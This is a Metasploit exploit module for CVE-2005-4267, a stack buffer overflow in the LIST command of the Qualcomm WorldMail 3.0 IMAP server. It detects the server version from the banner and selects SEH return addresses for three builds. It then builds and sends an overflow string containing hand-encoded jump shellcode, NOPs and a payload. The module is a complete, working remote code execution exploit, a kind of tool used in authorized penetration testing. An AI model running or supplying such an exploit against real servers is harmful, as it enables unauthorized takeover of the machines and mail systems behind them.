##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Imap
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Qualcomm WorldMail IMAP Server
          version 3.0 (builds 6.1.19.0 through 6.1.22.0). Version 6.1.22.1 fixes this
          particular vulnerability.

          NOTE: The service does NOT restart automatically by default. You may be limited to
          only one attempt, so choose wisely!
        },
        'Author' => [ 'MC', 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-4267'],
          [ 'OSVDB', '22097'],
          [ 'BID', '15980'],

        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 750,
          'BadChars' => "\x00\x0a\x0d\x20\x7b",
          'StackAdustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'WorldMail 3 Version 6.1.19.0', { 'Ret' => 0x600b6317 } ], # p/p/r in MLstMgr.dll v6.1.19.0
          [ 'WorldMail 3 Version 6.1.20.0', { 'Ret' => 0x10022187 } ], # p/p/r in msremote.dll ?
          [ 'WorldMail 3 Version 6.1.22.0', { 'Ret' => 0x10022187 } ], # p/p/r in MsRemote.dll v6.1.22.0
        ],
        'DisclosureDate' => '2005-12-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    targ = auto_target
    disconnect

    return Exploit::CheckCode::Appears if (targ)

    return Exploit::CheckCode::Safe
  end

  def auto_target
    connect

    if (banner and banner =~ /WorldMail/ and banner =~ /IMAP4 Server (.*) ready/)
      version = $1
      ver = version.split('.')
      if (ver.length == 4)
        major = ver[0].to_i
        minor = ver[1].to_i
        rev = ver[2].to_i
        build = ver[3].to_i
        if (major == 6 and minor == 1)
          return targets[1] if (rev == 19)
          return targets[2] if (rev == 20)
          return targets[3] if (rev == 22)
        end
      end
    end

    # no target found
    nil
  end

  def exploit
    if (target_index == 0)
      mytarget = auto_target
      if mytarget
        print_status("Automatically detected \"#{mytarget.name}\" ...")
      else
        fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
      end
    else
      mytarget = target
      connect
    end

    jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
    jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
    jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"

    sploit = "a001 LIST " + rand_text_alphanumeric(20)
    sploit << payload.encoded
    sploit << generate_seh_record(mytarget.ret)
    sploit << make_nops(8) + jmp + rand_text_alphanumeric(40)
    sploit << "}" + "\r\n"

    sock.put(sploit)

    handler
    disconnect
  end
end